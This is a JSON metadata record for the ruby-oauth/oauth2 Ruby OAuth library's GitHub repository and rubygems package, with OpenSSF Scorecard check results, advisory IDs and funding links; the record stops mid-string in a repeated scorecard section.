{"id":7429,"name":null,"description":"🔐 oauth2 - A Ruby wrapper for the OAuth 2.0, \u0026 2.1 Authorization Frameworks, including OpenID Connect (OIDC)","url":"https://github.com/ruby-oauth/oauth2","last_synced_at":"2026-08-17T10:30:33.671Z","repository":{"id":878990,"uuid":"622911","full_name":"ruby-oauth/oauth2","owner":"ruby-oauth","description":"🔐 oauth2 - A Ruby wrapper for the OAuth 2.0, \u0026 2.1 Authorization Frameworks, including OpenID Connect (OIDC)","archived":false,"fork":false,"pushed_at":"2026-08-12T19:18:14.000Z","size":3905,"stargazers_count":2179,"open_issues_count":6,"forks_count":628,"subscribers_count":35,"default_branch":"main","last_synced_at":"2026-08-14T22:37:40.136Z","etag":null,"topics":["authentication","authorization","oauth2","oauth2-client","oidc","oidc-client","security"],"latest_commit_sha":null,"homepage":"https://oauth2.galtzo.com/","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jedi4ever/veewee","license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ruby-oauth.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":"THREAT_MODEL.md","audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"buy_me_a_coffee":"pboling","community_bridge":null,"github":["pboling"],"issuehunt":"pboling","ko_fi":"pboling","liberapay":"pboling","open_collective":"ruby-oauth","patreon":"galtzo","polar":"pboling","thanks_dev":"u/gh/pboling","tidelift":"rubygems/oauth2"}},"created_at":"2010-04-22T05:17:38.000Z","updated_at":"2026-08-13T22:52:38.000Z","dependencies_parsed_at":"2026-08-14T22:37:44.532Z","dependency_job_id":"fd1f0e16-137d-45b5-b1fa-238bf3f706a4","html_url":"https://github.com/ruby-oauth/oauth2","commit_stats":{"total_commits":953,"total_committers":140,"mean_commits":6.807142857142857,"dds":0.70199370409234,"last_synced_commit":"1ae029a963ffa4d0e5daeea83206c38a5b883f0c"},"previous_names":["intridea/oauth2","ruby-oauth/oauth2"],"tags_count":81,"template":false,"template_full_name":null,"purl":"pkg:github/ruby-oauth/oauth2","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/sbom","scorecard":{"id":1246165,"data":{"date":"2026-04-17T12:15:33Z","repo":{"name":"github.com/ruby-oauth/oauth2","commit":"ab1ad163ba61674b6b40d4efd5d9462372ea44f0"},"scorecard":{"version":"v5.3.0","commit":"c22063e786c11f9dd714d777a687ff7c4599b600"},"score":5.8,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/7 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#code-review"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dependency-update-tool"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ancient.yml:64: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ancient.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/auto-assign.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/auto-assign.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/caboose.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/caboose.yml:91: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/coverage.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/current.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/current.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/heads.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/heads.yml:72: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/jruby.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/jruby.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/legacy.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/legacy.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/license-eye.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/license-eye.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/macos.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/macos.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/opencollective.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/opencollective.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/style.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/style.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/supported.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/supported.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unsupported.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unsupported.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/windows.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Info:   2 out of  25 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  24 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/ancient.yml:4","Warn: no topLevel permission defined: .github/workflows/auto-assign.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/caboose.yml:5","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/coverage.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/current.yml:5","Info: topLevel 'contents' permission set to 'read': .github/workflows/dep-heads.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/dependency-review.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/heads.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/jruby.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/legacy.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/license-eye.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/locked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/macos.yml:5","Warn: topLevel 'contents' permission set to 'write': .github/workflows/opencollective.yml:10","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard-analysis.yml:12","Info: topLevel 'contents' permission set to 'read': .github/workflows/style.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/supported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/unlocked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/unsupported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/windows.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":0,"reason":"16 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-h27x-rffw-24p4","Warn: Project is vulnerable to: GHSA-3m6g-2423-7cp3","Warn: Project is vulnerable to: GHSA-7mqq-6cf9-v2qp","Warn: Project is vulnerable to: GHSA-8vqr-qjwx-82mw","Warn: Project is vulnerable to: GHSA-g2pf-xv49-m2h5","Warn: Project is vulnerable to: GHSA-h2jq-g4cq-5ppq","Warn: Project is vulnerable to: GHSA-q2ww-5357-x388","Warn: Project is vulnerable to: GHSA-q4qf-9j86-f5mh","Warn: Project is vulnerable to: GHSA-qfgr-crr9-7r49","Warn: Project is vulnerable to: GHSA-qv7j-4883-hwh7","Warn: Project is vulnerable to: GHSA-rx22-g9mx-qrhv","Warn: Project is vulnerable to: GHSA-v569-hp3g-36wr","Warn: Project is vulnerable to: GHSA-v6x5-cg8r-vv6x","Warn: Project is vulnerable to: GHSA-vgpv-f759-9wx3","Warn: Project is vulnerable to: GHSA-x8cg-fq8g-mxfx","Warn: Project is vulnerable to: GHSA-g857-hhfv-j68w"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 28 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#sast"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":4,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Info: 'up-to-date branches' is required to merge on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":10,"reason":"14 out of 14 merged PRs checked by a CI test -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 55 contributing companies or organizations","details":["Info: found contributions from: 9thbit, Dynamoid, Maffiaco, RubiesOnDaCloud, acquaintable, appraisal-rb, bluepill-rb, buildkite, bundler, carlhuda, charlotte-ruby, codeforamerica, contriboss, deliany.co, erikhuda, eyecue lab, floss-funding, galtzo-floss, ganser.consulting gmbh, gitlabhq, hackforchange, herimedia, historical-restoration, hivetechlabs, idcon, intridea, kettle-rb, lostisland, national-progressive-party, nyc-ruby-meetup, oauthjp, octo technology, october-surprise, octokit, omniauth, openid, openid-foundation, openid-foundation-japan, opentransact, phobos, resque, rubocop-hq, rubocop-lts, ruby-oauth, ruby-openid, rubygems, sounddrop, syndicated-media, tokium, tweetstream, volvo-cars, wordtreefoundation, yapert, yauth.jp, zendesk"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#contributors"}}]},"last_synced_at":"2026-04-17T14:22:27.014Z","repository_id":878990,"created_at":"2026-04-17T14:22:27.014Z","updated_at":"2026-04-17T14:22:27.014Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36680764,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-15T02:00:05.847Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"ruby-oauth","name":"Ruby OAuth","uuid":"40009","kind":"organization","description":"🔐 Ruby Gems for building with OAuth v1.0a, 2.0, 2.1 and OIDC","email":"floss@galtzo.com","website":"https://opencollective.com/ruby-oauth","location":"United States of America","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/40009?v=4","repositories_count":7,"last_synced_at":"2026-05-07T06:40:05.814Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ruby-oauth","funding_links":[],"total_stars":2922,"followers":22,"following":0,"created_at":"2022-11-02T16:17:23.129Z","updated_at":"2026-05-07T06:40:05.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth/repositories"},"packages":[{"id":264338,"name":"oauth2","ecosystem":"rubygems","description":"🔐 A Ruby wrapper for the OAuth 2.0 Authorization Framework, including the OAuth 2.1 draft spec, and OpenID Connect (OIDC)","homepage":"https://oauth2.galtzo.com","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/ruby-oauth/oauth2","keywords_array":[],"namespace":null,"versions_count":79,"first_release_published_at":"2010-04-22T05:19:42.272Z","latest_release_published_at":"2026-07-15T00:58:16.226Z","latest_release_number":"2.0.25","last_synced_at":"2026-08-16T10:00:41.106Z","created_at":"2022-04-06T05:47:31.135Z","updated_at":"2026-08-16T10:00:43.859Z","registry_url":"https://rubygems.org/gems/oauth2","install_command":"gem install oauth2 -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/oauth2/","metadata":{"funding":"https://github.com/sponsors/pboling"},"repo_metadata":{"id":878990,"uuid":"622911","full_name":"ruby-oauth/oauth2","owner":"ruby-oauth","description":"🔐 oauth2 - A Ruby wrapper for the OAuth 2.0, \u0026 2.1 Authorization Frameworks, including OpenID Connect (OIDC)","archived":false,"fork":false,"pushed_at":"2026-08-12T19:18:14.000Z","size":3905,"stargazers_count":2179,"open_issues_count":6,"forks_count":628,"subscribers_count":35,"default_branch":"main","last_synced_at":"2026-08-14T22:37:40.136Z","etag":null,"topics":["authentication","authorization","oauth2","oauth2-client","oidc","oidc-client","security"],"latest_commit_sha":null,"homepage":"https://oauth2.galtzo.com/","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jedi4ever/veewee","license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ruby-oauth.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":"THREAT_MODEL.md","audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"buy_me_a_coffee":"pboling","community_bridge":null,"github":["pboling"],"issuehunt":"pboling","ko_fi":"pboling","liberapay":"pboling","open_collective":"ruby-oauth","patreon":"galtzo","polar":"pboling","thanks_dev":"u/gh/pboling","tidelift":"rubygems/oauth2"}},"created_at":"2010-04-22T05:17:38.000Z","updated_at":"2026-08-13T22:52:38.000Z","dependencies_parsed_at":"2026-08-14T22:37:44.532Z","dependency_job_id":"fd1f0e16-137d-45b5-b1fa-238bf3f706a4","html_url":"https://github.com/ruby-oauth/oauth2","commit_stats":{"total_commits":953,"total_committers":140,"mean_commits":6.807142857142857,"dds":0.70199370409234,"last_synced_commit":"1ae029a963ffa4d0e5daeea83206c38a5b883f0c"},"previous_names":["intridea/oauth2","ruby-oauth/oauth2"],"tags_count":81,"template":false,"template_full_name":null,"purl":"pkg:github/ruby-oauth/oauth2","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/sbom","scorecard":{"id":1246165,"data":{"date":"2026-04-17T12:15:33Z","repo":{"name":"github.com/ruby-oauth/oauth2","commit":"ab1ad163ba61674b6b40d4efd5d9462372ea44f0"},"scorecard":{"version":"v5.3.0","commit":"c22063e786c11f9dd714d777a687ff7c4599b600"},"score":5.8,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/7 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#code-review"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dependency-update-tool"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned 